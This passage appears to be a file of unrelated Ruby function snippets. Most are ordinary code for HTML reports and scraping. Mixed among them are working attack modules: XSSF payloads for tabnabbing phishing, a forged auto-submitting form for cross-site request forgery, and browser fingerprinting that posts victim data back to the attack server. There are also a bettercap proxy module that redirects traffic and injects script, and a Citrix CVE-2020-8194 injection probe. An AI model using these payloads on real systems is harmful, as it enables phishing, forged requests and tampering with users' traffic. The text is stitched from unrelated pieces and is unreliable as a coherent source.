LoadConversionScript() { var script = document.createElement(\"script\"); script.type = \"text/javascript\"; script.src = \"https://www.googleadservices.com/pagead/conversion.js\";}// --></script><script type=\"text/javascript\"><!--FixForm();// --></script></body></html>\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tsend_response(cli, code)\n\t\t\t\t\n\t\t\t\t\n\t\t\telse\n\t\t\t\tcode = %Q{\n\t\t\t\t\t/*\n\t\t\t\t\t\tCopyright (c) 2010 Aza Raskin\n\t\t\t\t\t\thttp://azarask.in\n\n\t\t\t\t\t\tPermission is hereby granted, free of charge, to any person\n\t\t\t\t\t\tobtaining a copy of this software and associated documentation\n\t\t\t\t\t\tfiles (the \"Software\"), to deal in the Software without\n\t\t\t\t\t\trestriction, including without limitation the rights to use,\n\t\t\t\t\t\tcopy, modify, merge, publish, distribute, sublicense, and/or sell\n\t\t\t\t\t\tcopies of the Software, and to permit persons to whom the\n\t\t\t\t\t\tSoftware is furnished to do so, subject to the following\n\t\t\t\t\t\tconditions:\n\n\t\t\t\t\t\tThe above copyright notice and this permission notice shall be\n\t\t\t\t\t\tincluded in all copies or substantial portions of the Software.\n\t\t\t\t\t*/\n\n\n\t\t\t\t\t(function(){\n\t\t\t\t\t\tvar TIMER = null;\n\t\t\t\t\t\tvar HAS_SWITCHED = false;\n\n\t\t\t\t\t\t// Events\n\t\t\t\t\t\twindow.onblur = function(){\n\t\t\t\t\t\t\tTIMER = setTimeout(changeItUp, #{datastore['delay'].to_i * 1000});\n\t\t\t\t\t\t} \n\n\t\t\t\t\t\twindow.onfocus = function(){\n\t\t\t\t\t\t\tif(TIMER) clearTimeout(TIMER);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Utils\n\t\t\t\t\t\tfunction setTitle(text){ document.title = text; }\n\n\t\t\t\t\t\t// This favicon object rewritten from:\n\t\t\t\t\t\t// Favicon.js - Change favicon dynamically [http://ajaxify.com/run/favicon].\n\t\t\t\t\t\t// Copyright (c) 2008 Michael Mahemoff. Icon updates only work in Firefox and Opera.\n\n\t\t\t\t\t\tfavicon = {\n\t\t\t\t\t\t\tdocHead: document.getElementsByTagName(\"head\")[0],\n\t\t\t\t\t\t\tset: function(url){\n\t\t\t\t\t\t\t\tthis.addLink(url);\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t \n\t\t\t\t\t\t\taddLink: function(iconURL) {\n\t\t\t\t\t\t\t\tvar link = document.createElement(\"link\");\n\t\t\t\t\t\t\t\tlink.type = \"image/x-icon\";\n\t\t\t\t\t\t\t\tlink.rel = \"shortcut icon\";\n\t\t\t\t\t\t\t\tlink.href = iconURL;\n\t\t\t\t\t\t\t\tthis.removeLinkIfExists();\n\t\t\t\t\t\t\t\tthis.docHead.appendChild(link);\n\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\tremoveLinkIfExists: function() {\n\t\t\t\t\t\t\t\tvar links = this.docHead.getElementsByTagName(\"link\");\n\t\t\t\t\t\t\t\tfor (var i=0; i<links.length; i++) {\n\t\t\t\t\t\t\t\t\tvar link = links[i];\n\t\t\t\t\t\t\t\t\tif (link.type==\"image/x-icon\" && link.rel==\"shortcut icon\") {\n\t\t\t\t\t\t\t\t\t\tthis.docHead.removeChild(link);\n\t\t\t\t\t\t\t\t\t\treturn; // Assuming only one match at most.\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t};\n\n\t\t\t\t\t\tfunction createShield(){\t\n\t\t\t\t\t\t\tdiv = document.createElement(\"div\");\n\t\t\t\t\t\t\tdiv.style.position = \"absolute\";\n\t\t\t\t\t\t\tdiv.style.top = 0;\n\t\t\t\t\t\t\tdiv.style.left = 0;\n\t\t\t\t\t\t\tdiv.style.backgroundColor = \"white\";\n\t\t\t\t\t\t\tdiv.style.width = \"100%\";\n\t\t\t\t\t\t\tdiv.style.height = \"100%\";\n\t\t\t\t\t\t\tdiv.style.textAlign = \"center\";\n\t\t\t\t\t\t\tdocument.body.style.overflow = \"hidden\";\n\t\t\t\t\t\t \n\t\t\t\t\t\t\tiframe = XSSF_CREATE_IFRAME(\"MY_IFRAME\", 100, 100)\n\t\t\t\t\t\t\tiframe.src = XSSF_SERVER + \"#{datastore['website']}.html\";\n\t\t\t\t\t\t\tdiv.appendChild(iframe);\n\t\t\t\t\t\t\tdocument.body.appendChild(div);\t\t\t\t\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfunction changeItUp(){\n\t\t\t\t\t\t\tif(HAS_SWITCHED == false){\n\t\t\t\t\t\t\t\tcreateShield(\"#{websites[datastore['website']][0]}\");\n\t\t\t\t\t\t\t\tsetTitle(\"#{websites[datastore['website']][1]}\");\n\t\t\t\t\t\t\t\tfavicon.set(\"#{websites[datastore['website']][0]}/favicon.ico\");\n\t\t\t\t\t\t\t\tHAS_SWITCHED = true; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t})();\n\t\t\t\t}\n\n\t\t\t\tsend_response(cli, code)\n\t\t\tend\n\tend", "def get_markup_from_wapl(wapl_xml=\"\")\n raise ArgumentError, \"Empty string\" if wapl_xml == \"\"\n res = self.send_request 'get_markup_from_wapl', {'wapl'=>wapl_xml} \n unless res.body.scan('WAPL ERROR').empty?\n markup = wapl_xml + \"<!-- WAPL XML ERROR #{ res.body } -->\"\n headers = ''\n else\n markup_res_xml = REXML::Document.new(res.body).root\n res = {}\n markup_res_xml.elements.each('header/item') do |el|\n splits = el.text.split(': ');\n h = Hash[splits[0], splits[1]]\n res.merge! h\n end\n markup = markup_res_xml.elements.collect('markup') { |el| el.cdatas}\n end\n return {'markup' => markup, 'headers'=>res }\n end", "def html_report_header\n @report << '\n <html>\n <head>\n <title> Kismet Wireless Report</title>\n <style>\n body {\n\t font: normal 11px auto \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n\t color: #4f6b72;\n\t background: #E6EAE9;\n }\n #report-header {\n font-weight: bold;\n font-size: 24px;\n font-family: \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n color: #4f6b72;\n\n }\n\n #sub-header {\n font-weight: italic;\n font-size: 10px;\n font-family: \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n color: #4f6b72;\n\n }\n\n #title {\n font-weight: bold;\n font-size: 16px;\n font-family: \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n color: #4f6b72;\n }\n\n th {\n\t font: bold 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n\t color: #4f6b72;\n\t border-right: 1px solid #C1DAD7;\n\t border-bottom: 1px solid #C1DAD7;\n\t border-top: 1px solid #C1DAD7;\n\t letter-spacing: 2px;\n\t text-transform: uppercase;\n\t text-align: left;\n\t padding: 6px 6px 6px 12px;\n }\n\n td {\n\t border-right: 1px solid #C1DAD7;\n\t border-bottom: 1px solid #C1DAD7;\n\t background: #fff;\n\t padding: 6px 6px 6px 12px;\n\t color: #4f6b72;\n }\n\n\n td.alt {\n\t background: #F5FAFA;\n\t color: #797268;\n }\n\n\n\n </style>\n '\n if @options.create_map\n @report << %Q!\n <script type=\"text/javascript\" src=\"http://maps.google.com/maps/api/js?sensor=false\"></script>\n <script type=\"text/javascript\">\n function initialize() {\n var latlng = new google.maps.LatLng(#{@map_centre['lat']}, #{@map_centre['long']});\n var myOptions = {\n zoom: 14,\n center: latlng,\n mapTypeId: google.maps.MapTypeId.ROADMAP\n };\n var map = new google.maps.Map(document.getElementById(\"map_canvas\"), myOptions);\n !\n\n #Yugh this is a hack\n @options.gps_data.each do |bssid,point|\n netname = bssid.gsub(':','')\n\n if @nets_by_bssid[bssid]\n #Next line is present to strip any single quotes from SSID's before putting them into the marker as that causes problems :)\n content_ssid = @nets_by_bssid[bssid]['ssid'].gsub(/['<>]/,'')\n @log.debug(\"About to add \" + content_ssid) if content_ssid\n @report << %Q!\n var contentString#{netname} = '<b>SSID: </b> #{content_ssid} <br />' +\n '<b>BSSID: </b> #{bssid}<br />' +\n '<b>Channel: </b> #{@nets_by_bssid[bssid]['channel']} <br />' +\n '<b>Ciphers: </b> #{@nets_by_bssid[bssid]['cipher']} <br />' +\n '<b>Cloaked?: </b> #{@nets_by_bssid[bssid]['cloaked']} <br />';\n var infowindow#{netname} = new google.maps.InfoWindow({\n content: contentString#{netname}\n });\n !\n end\n @report << %Q!\n var latlng#{netname} = new google.maps.LatLng(#{point['lat']}, #{point['lon']});\n\n var marker#{netname} = new google.maps.Marker({\n position: latlng#{netname},\n map: map\n });\n !\n if @nets_by_bssid[bssid]\n @report << %Q!\n google.maps.event.addListener(marker#{netname}, 'click', function() {\n infowindow#{netname}.open(map,marker#{netname});\n });\n !\n end\n end\n\n @report << %Q!\n }\n </script>\n\n !\n end\n @report << '</head>'\n if @options.create_map\n @report << '<body onload=\"initialize()\">'\n else\n @report << '<body>'\n end\n @report << '<div id=\"report-header\">Kismet Wireless Report</div> <br /> <div id=\"sub-header\"> Report Generated at ' + Time.now.to_s + '<br />'\n @report << 'Files analysed ' + @options.file_names.join(',<br />') + '<br /> <br /></div>'\n end", "def run\n super\n\n require_enrichment\n\n url = _get_entity_name\n\n # make request and save response\n response = http_request :get, \"#{url}/menu/guiw?nsbrand=1&protocol=nonexistent.1337\\\">&id=3&nsvpx=phpinfo\"\n unless response && response.code.to_i == 200\n _log \"No response! Failing\"\n return\n end\n\n # grab response headers and body\n response_headers = response.headers\n response_body = response.body_utf8\n\n # check if header and body contain needed values\n if response_headers.has_value?(\"application/x-java-jnlp-file\")\n # header is present, check for response body\n if response_body =~ /\\<jnlp codebase\\=\\\"nonexistent\\.1337\\\"/\n _log \"Vulnerable!\"\n _create_linked_issue \"citrix_netscaler_codeinjection_cve_2020_8194\" , { \"proof\" => response }\n end\n else\n _log \"Not vulnerable!\"\n end\n\n end", "def on_request_uri(cli, req)\r\n\t\tif (req.uri =~ /myframe\\.html/i)\r\n\t\t\tcode = %Q{\r\n\t\t\t\t<html>\r\n\t\t\t\t\t<body>\r\n\t\t\t\t\t\t<form id=\"f\" enctype=\"#{datastore['enctype']}\" method='#{datastore['method']}' action='#{datastore['vulnWebsite']}'>\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t(datastore['params'].split('&')).each do |p|\r\n\t\t\t\tif (p.gsub(/\"/, '%22') =~ /(.*)=(.*)/)\r\n\t\t\t\t\tcode << %Q{<input type=\"text\" name=\"#{$1}\" value=\"#{($2.gsub(/\\%26/, '&')).gsub(/\\%3D/, '=')}\">\\n}\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\tcode << %Q{\r\n\t\t\t\t\t\t</form>\r\n\r\n\t\t\t\t\t\t<script>document.getElementById('f').submit();</script>\r\n\t\t\t\t\t</body>\r\n\t\t\t\t</html>\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tprint code.to_s if datastore['printPayload']\r\n\t\t\r\n\t\t\tsend_response(cli, code)\r\n\t\telse\r\n\t\t\tcode = %Q{\r\n\t\t\t\tf = XSSF_CREATE_IFRAME('csrf', 0, 0)\r\n\t\t\t\tf.src = XSSF_SERVER + 'myframe.html';\r\n\t\t\t\tdocument.body.appendChild(f);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tsend_response(cli, code)\r\n\t\tend\r\n\tend", "def render(_context)\n @browser_url = @attributes['url']\n render_header + render_contents + render_url + render_footer\n end", "def get_response_url\n\tdoc = Nokogiri::HTML(open(lease_break_url))\nend", "def make_page_net_version(keyword, previous_keyword)\n encoded_keyword = URI::encode(keyword).gsub(/&/, '%26')\n\n if rand(2) == 0\n accept = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'\n else\n accept = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'\n end\n\n if rand(3) == 0 or previous_keyword == nil\n referer = 'search.naver.com'\n else\n referer = @base_url + previous_keyword\n end\n\n if rand(2) == 0\n user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'\n else\n user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'\n end\n\n\n url = @base_url + encoded_keyword\n uri = URI(url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n headers = { 'Accept' => accept,\n 'Accept-Language' => 'ko-kr,ko;q=0.8,en-us;q=0.5,en;q=0.3',\n 'Connection' => 'keep-alive',\n 'Referer' => referer,\n 'Host' => 'www.naver.com',\n 'User-Agent' => user_agent,\n 'Cache-Control' => 'no-cache'}\n request.initialize_http_header(headers)\n response = http.request(request)\n\n if response.code.include? '403'\n raise Exception\n end\n\n=begin\n request.each_header { |key, value|\n puts \"#{key} : #{value}\"\n }\n\n puts response.code # => '200'\n puts response.message # => 'OK'\n puts response.class.name # => 'HTTPOK'\n puts response['header-here']\n puts \"Headers: #{response.to_hash.inspect}\"\n puts response.body\n=end\n page = Nokogiri::HTML(response.body)\n page\n end", "def url_for_mnhn(barcode)\r\n #\"https://science.mnhn.fr/institution/mnhn/collection/p/item/\" + barcode #herbarium sheets\r\n \"https://science.mnhn.fr/institution/mnhn/collection/f/item/\" + barcode #fossil slides\r\nend", "def submit!\n# NSString.stringWithContentsOfURL(url)\n return \"FOOO\"\n end", "def header\n @io.content_type = content_type if @io.respond_to?(:content_type)\n\n @io << \"<html>\"\n @io << tag(:head) do |headers|\n headers << tag(:title, 'Request-log-analyzer report')\n headers << tag(:style, '\n body {\n \tfont: normal 11px auto \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \tcolor: #4f6b72;\n \tbackground: #E6EAE9;\n \tpadding-left:20px;\n \tpadding-top:20px;\n \tpadding-bottom:20px;\n }\n\n a {\n \tcolor: #c75f3e;\n }\n\n .color_bar {\n border: 1px solid;\n height:10px;\n \tbackground: #CAE8EA;\n }\n\n #mytable {\n \twidth: 700px;\n \tpadding: 0;\n \tmargin: 0;\n \tpadding-bottom:10px;\n }\n\n caption {\n \tpadding: 0 0 5px 0;\n \twidth: 700px;\t\n \tfont: italic 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \ttext-align: right;\n }\n\n th {\n \tfont: bold 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \tcolor: #4f6b72;\n \tborder-right: 1px solid #C1DAD7;\n \tborder-bottom: 1px solid #C1DAD7;\n \tborder-top: 1px solid #C1DAD7;\n \tletter-spacing: 2px;\n \ttext-transform: uppercase;\n \ttext-align: left;\n \tpadding: 6px 6px 6px 12px;\n \tbackground: #CAE8EA url(images/bg_header.jpg) no-repeat;\n }\n\n td {\n \tfont: bold 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \tborder-right: 1px solid #C1DAD7;\n \tborder-bottom: 1px solid #C1DAD7;\n \tbackground: #fff;\n \tpadding: 6px 6px 6px 12px;\n \tcolor: #4f6b72;\n }\n\n td.alt {\n \tbackground: #F5FAFA;\n \tcolor: #797268;\n }\n ', :type => \"text/css\")\n end\n @io << '<body>'\n @io << tag(:h1, 'Request-log-analyzer summary report')\n @io << tag(:p, \"Version #{RequestLogAnalyzer::VERSION} - written by Willem van Bergen and Bart ten Brinke\")\n end", "def head()\n head = '<!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\" integrity=\"sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z\" crossorigin=\"anonymous\">\n <title>Informacion Rover en Marte</title>\n </head>\n <body class=\"container\">'\n \n return head\n \n end", "def render_wsd(code, style)\n response = Net::HTTP.post_form(URI.parse(WSD_URL), 'style' => style, 'message' => code)\n if response.body =~ /img: \"(.+)\"/\n url = \"http://www.websequencediagrams.com/#{$1}\"\n \"<img src=\\\"#{url}\\\" />\"\n else\n puts response.body\n html_error(\"Sorry, unable to render sequence diagram at this time.\")\n end\n end", "def placeholder_html \n widget_url = @url.gsub('/app/','/widget/')\n widget_url = widget_url.gsub('http:','https:')\n \"<div style='width:100%; height:190px; display:block; background-color:black; color:white;'><div style='padding:10px;'><h2>Steam Store Widget onebox preview for: #{widget_url}</h2><p>Will be replaced with the real listing when posted.</p></div></div>\"\n rescue\n @url\n end", "def write_url_web(row1, col1, row2, col2, url, str = nil, format = nil)\n record = 0x01B8 # Record identifier\n length = 0x00000 # Bytes to follow\n\n xf = format || @url_format # The cell format\n\n # Write the visible label but protect against url recursion in write().\n str = url if str.nil?\n @writing_url = 1\n error = write(row1, col1, str, xf)\n @writing_url = 0\n return error if error == -2\n\n # Pack the undocumented parts of the hyperlink stream\n unknown1 = [\"D0C9EA79F9BACE118C8200AA004BA90B02000000\"].pack(\"H*\")\n unknown2 = [\"E0C9EA79F9BACE118C8200AA004BA90B\"].pack(\"H*\")\n\n # Pack the option flags\n options = [0x03].pack(\"V\")\n\n # Convert URL to a null terminated wchar string\n url = url.split('').join(\"\\0\")\n url = url + \"\\0\\0\\0\"\n\n # Pack the length of the URL\n url_len = [url.length].pack(\"V\")\n\n # Calculate the data length\n length = 0x34 + url.length\n\n # Pack the header data\n header = [record, length].pack(\"vv\")\n data = [row1, row2, col1, col2].pack(\"vvvv\")\n\n # Write the packed data\n append( header, data,unknown1,options,unknown2,url_len,url)\n\n return error\n end", "def h(string)\n Rack::Utils.escape_html(string) # Escape any html code that appears on page e.g. <script>\nend", "def adapt()\n # get template for SAS from configuration\n template = @campaign_configuration[\"DesktopSASTemplate\"]\n \n # print the template used\n Rails.logger.info \"template: #{template}\"\n\n # check the campaign configuration and store the page \n case template\n when 'DP1' # Desktop Product Buyflow\n page = CartCheckoutFlow.new(@campaign_configuration)\n when 'DIL1' # Desktop Inline1\n page = Inline.new(@campaign_configuration)\n when 'DIL2' # Desktop Inline1\n page = Inline.new(@campaign_configuration)\n when 'DAL1' # Desktop Airline1\n page = Airline.new(@campaign_configuration)\n when 'DAL2' # Desktop Airline2\n page = Airline.new(@campaign_configuration)\n when 'DMS', 'MMS' # Desktop ????\n Rails.logger.info \"UNIMPLEMENETED TEMPLATE: '#{@campaign_configuration.cart}' - Using 'DIL1'\"\n page = Inline.new(@campaign_configuration)\n when 'responsive'\n page = Reponsive.new(@campaign_configuration)\n # Mobile Templates (One fits all for new style sites)\n when 'MobileA', 'MIL2', 'MIL1', 'MAL1', 'MAL2' \n page = MobileSASA.new(@campaign_configuration)\n when 'MobileB'\n page = MobileSASB.new(@campaign_configuration)\n\n when 'MobileC'\n page = MobileSASC.new(@campaign_configuration)\n # Legacy Template for sites like Supersmile & Reclaim Botanical\n when 'LegacyTemplate'\n page = LegacySAS.new(@campaign_configuration)\n # Realm2 Template for Responsive sites (Mostly needed for mobile campaigns that use T4 responsive on Realm2)\n when 'Realm2Responsive'\n page = Realm2Responsive.new(@campaign_configuration)\n else\n page = Inline.new(@campaign_configuration)\n end\n page.browser = @browser\n return page\n end", "def process_html(document)\n\t\t\t\n\t\t\t# Add link and raw HTML to a hash as key/value\n\t\t\t# for later storage in database\n\t\t\tunless @raw_html.has_value?(document)\n\t\t \t\tprint \".\"\n\t\t \t\t@raw_html[@document.base_uri.to_s] = document\n\t\t\tend\n\t\t\t\t\n\t\tend", "def HTML4(input, url = T.unsafe(nil), encoding = T.unsafe(nil), options = T.unsafe(nil), &block); end", "def submit(button = T.unsafe(nil), headers = T.unsafe(nil)); end", "def on_request_uri(cli, req)\n\t\n\t\tcode = %Q{\n\t\t\tvar ret = '';\n\t\t\tvar quicktime = false;\n\t\t\tvar unsafe = true;\n\n\t\t\tif( window.navigator.javaEnabled() )\tret += \"JAVA ENABLED \\\\n\";\n\t\t\telse \t\t\t\t\t\t\t\t\tret += \"JAVA NOT AVAILABLE \\\\n\";\n\n\t\t\tif (navigator.mimeTypes && navigator.mimeTypes[\"application/x-shockwave-flash\"]) ret += \"FLASH AVAILABLE \\\\n\";\n\t\t\telse \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ret += \"FLASH NOT AVAILABLE \\\\n\";\n\n\t\t\tif (navigator.plugins)\n\t\t\t\tfor (i=0; i < navigator.plugins.length; i++ )\n\t\t\t\t\tif (navigator.plugins[i].name.indexOf(\"QuickTime\")>=0)\n\t\t\t\t\t\tquicktime = true;\n\n\t\t\tif ((navigator.appVersion.indexOf(\"Mac\") > 0) && (navigator.appName.substring(0,9) == \"Microsoft\") && (parseInt(navigator.appVersion) < 5) )\n\t\t\t\tquicktime = true;\n\t\n\t\t\t(quicktime) ? ret += \"QUICKTIME AVAILABLE \\\\n\" : ret += \"QUICKTIME NOT AVAILABLE \\\\n\";\n\n\n\t\t\tif ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1))\tret += \"VBSCRIPT AVAILABLE \\\\n\";\n\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tret += \"VBSCRIPT NOT AVAILABLE \\\\n\";\n\n\t\t\ttry{ test = new ActiveXObject(\"WbemScripting.SWbemLocator\"); } \n\t\t\tcatch(ex){unsafe = false;} \n \n\t\t\t(unsafe) ? ret += \"UNSAFE ACTIVE X ACTIVATED \\\\n\" : ret += \"UNSAFE ACTIVE X NOT ACTIVATED \\\\n\";\n\n\t\t\t\n\t\t\tif (navigator.plugins && navigator.plugins.length > 0) {\n\t\t\t\tvar pluginsArrayLength = navigator.plugins.length;\n\t\t\t\tret += \"PLUGINS : \\\\n\";\n\t\t\t\tfor (pluginsArrayCounter = 0 ; pluginsArrayCounter < pluginsArrayLength ; pluginsArrayCounter++ ) {\n\t\t\t\t\tret += \"\\\\t * \" + navigator.plugins[pluginsArrayCounter].name;\n\t\t\t\t\tif(pluginsArrayCounter < pluginsArrayLength-1)\n\t\t\t\t\t\tret += String.fromCharCode(10);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tXSSF_POST(ret, '#{self.name}');\n\t\t}\n\n\t\tsend_response(cli, code)\n\tend", "def grab_html\n\t\t@raw_html = HTTParty.get(@url)\n\t\t@soft_html = Nokogiri::HTML(@raw_html.body)\n\tend", "def send_to_searchisko(metadata, page, site, converted_html)\n metadata[:searchisko_id] = Digest::SHA1.hexdigest(metadata[:title])[0..7]\n metadata[:searchisko_type] = 'jbossdeveloper_quickstart'\n\n searchisko_hash = {\n :sys_title => metadata[:title], \n :level => metadata[:level],\n :tags => metadata[:technologies],\n :sys_description => metadata[:summary],\n :sys_content => converted_html, \n :sys_url_view => \"#{site.base_url}#{site.ctx_root.nil? ? '/' : '/' + site.ctx_root + '/'}#{page.output_path}\",\n :contributors => metadata[:contributors_email],\n :author => metadata[:author],\n :sys_created => metadata[:commits].collect { |c| DateTime.parse c[:date] }.last,\n :sys_activity_dates => metadata[:commits].collect { |c| DateTime.parse c[:date] },\n :target_product => metadata[:target_product],\n :github_repo_url => metadata[:github_repo_url],\n :experimental => metadata[:experimental]\n } \n\n # Not sure if it's better to do this once per class, \n # once per site, or once per invocation\n searchisko = Aweplug::Helpers::Searchisko.new({:base_url => site.dcp_base_url, \n :authenticate => true, \n :searchisko_username => ENV['dcp_user'], \n :searchisko_password => ENV['dcp_password'], \n :cache => site.cache,\n :logger => site.log_faraday,\n :searchisko_warnings => site.searchisko_warnings})\n\n searchisko.push_content(metadata[:searchisko_type], \n metadata[:searchisko_id], \n searchisko_hash.to_json)\n end", "def on_request( request, response )\n \n \n BetterCap::Logger.info \"Hacking http://#{request.host}\"\n # is it a html page?\n if response.content_type =~ /^text\\/html.*/\n \n if request.host =~ /example.com.*/\n response.redirect!(\"https://webtwob.de\")\n \n \n \n #found = false\n #BetterCap::Logger.info \"Redirecting\"\n #for h in response.headers\n # if h.include?(\"Location:\")\n # found = true\n # if !h.include?(\"https://webtwob.de\")\n # h.replace(\"Location: http://webtwob.de\")\n # end\n # end\n #end\n \n #if !found \n # BetterCap::Logger.info \"No Location header found, adding one.\"\n # # Replace HTTP Response code with 302\n # response.headers.\n # # This is an ugly hack to get around github issue #117\n # response.headers.reject! { |header| header.empty? }\n # # This is our payload line that is fine\n # response.headers << \"Location: https://webtwob.de\"\n # # This line is also necessary because of github issue #117\n # response.headers << \"\"\n # \n #end\n end\n \n \n #BetterCap::Logger.info \"Hacking http://#{request.host}#{request.url}\"\n # make sure to use sub! or gsub! to update the instance\n response.body.sub!( '</body>', ' <script> alert(42); </script> </body>' )\n end\n end", "def html_report(test_report, extra_report_header)\n\n html_report = <<-EOS\n <html>\n EOS\n\n html_style = <<-EOS\n <style>\n body {background-color: #FFFFF0; font-family: \"VAG Round\" ; color : #000080;font-weight:normal;word-break: break-all;}\n #specs-table{font-family:Arial,Helvetica,Sans-serif;font-size:12px;text-align:left;border-collapse:collapse;border-top: 2px solid #6678B1;border-bottom: 2px solid #6678B1;margin:20px;}\n #specs-table th{font-size:13px;font-weight:normal;background:#b9c9fe;border-top:4px solid #aabcfe;border-bottom:1px solid #fff;color:#039;padding:8px;}\n #specs-table td{background:#e8edff;border-top:1px solid #fff;border-bottom:1px solid #fff;color:#039;padding:8px;}\n #specifications{font-family:Arial,Helvetica,Sans-serif;font-size:13px;width:480px;background:#fff;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #specifications th{font-size:14px;font-weight:bold;color:#039;border-bottom:2px solid #6678b1;padding:10px 8px;}\n #specifications td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #statuspass{font-family:Arial,Helvetica,Sans-serif;font-size:12px;color:green;font-weight:bold;}\n #statusfail{font-family:Arial,Helvetica,Sans-serif;font-size:12px;color:red;font-weight:bold;}\n #tcs{font-family:Arial,Helvetica,Sans-serif;font-size:13px;background:#fff;width:900px;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #tcs th{font-size:14px;font-weight:bold;color:#039;border-bottom:2px solid #6678b1;padding:10px 8px;}\n #tcs td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #checkpoint{font-family:Arial,Helvetica,Sans-serif;font-size:13px;background:#fff;width:900px;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #checkpoint td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #container{margin: 0 30px;background: #fff;border:1px solid #ccc;}\n #header{background: #e8edff;padding: 2px;border-bottom: 2px solid #6678b1;}\n #steps{background: #e8edff;font-weight: bold;}\n #dp{font-weight: bold;}\n #validations{font-weight: bold;}\n #content{clear: left;padding: 10px;}\n #footer{background: #e8edff;text-align: right;padding: 10px;}\n </style>\n EOS\n\n title = <<-EOS\n <head><title>#{test_report[:test_suite_title]}</title></head>\n\n <body>\n EOS\n\n html_report += html_style + title\n\n report_header = <<-EOS\n <center>\n\n <a name=#{replace_space_by_dash(test_report[:test_suite_title])}></a>\n <table id=\"specifications\">\n <th align=\"center\">#{test_report[:test_suite_title]}</th>\n <tr><td>Test specification: #{test_report[:test_spec_path]}</td></tr>\n <tr><td>Kadu server: #{test_report[:kadu_server]}</td></tr>\n EOS\n @test_report[:test_cases].each do |tc_id, tc|\n if tc.has_key?(:server_info)\n report_header += <<-EOS\n <tr><td>Kadu branch: #{tc[:server_info][:kadu_branch]}</td></tr>\n <tr><td>Kadu version: #{tc[:server_info][:kadu_version]}</td></tr>\n <tr><td>Kadu index: #{tc[:server_info][:kadu_index]}</td></tr>\n EOS\n break\n end\n end\n if !extra_report_header.nil?\n details = extra_report_header.split(\"\\n\")\n details.each do |line|\n report_header += <<-EOS\n <tr><td>#{line}</td></tr>\n EOS\n end\n end\n test_suite_time_in_secs = Time.parse(test_report[:test_suite_completed_time].to_s) - Time.parse(test_report[:test_suite_start_time].to_s)\n\n report_header += <<-EOS\n <tr><td>Test suite started On: #{test_report[:test_suite_start_time]}</td></tr>\n <tr><td>Duration: #{test_suite_time_in_secs} secs</td></tr>\n <tr><td>Test suite status: <font id=#{status(test_report[:test_suite_result_status])}>#{test_report[:test_suite_result_status]}</font></td></tr>\n </table>\n <br>\n EOS\n report_tc_summary = <<-EOS\n <table id=\"tcs\">\n <tr>\n <th >Test Case</th>\n <th >Test Case Status</th>\n </tr>\n EOS\n\n test_report[:test_cases].each do |tc_id, tc|\n report_tc_summary += <<-EOS\n <tr>\n <td><a href=\"##{tc_id}\">#{tc_id}: #{tc[:title]}</a></td><td><font id=#{status(tc[:test_case_result_status])}>#{tc[:test_case_result_status]}</font></td>\n </tr>\n EOS\n end\n\n report_tc_summary += <<-EOS\n </table>\n <br>\n <h4>#{test_report[:test_suite_description]}</h4>\n <br>\n </center>\n EOS\n test_cases = \"\"\n test_report[:test_cases].each do |tc_id, tc|\n test_case = <<-EOS\n <div id=\"container\" style=\"word-break: break-all;width:100%;\">\n <div id=\"header\">\n <h4>\n <p><a name=\"#{tc_id}\">#{tc_id}: #{tc[:title]}</a></p>\n <p>#{tc[:description]}</p>\n <p>Test result status: <font id=#{status(tc[:test_case_result_status])}>#{tc[:test_case_result_status]}</font></p>\n </h4>\n </div>\n <div id=\"content\">\n <h4>\n Steps to reproduce\n </h4>\n EOS\n\n tc[:test_steps].each do |step_id, step|\n test_steps = <<-EOS\n <p id=\"steps\">#{step_id}</p>\n EOS\n\n if step.has_key?(:action) || step.has_key?(:mt_url)\n test_steps += <<-EOS\n <p style=\"word-break: break-all;\" width=900px >URL: #{step[:action]}</p>\n EOS\n end\n\n 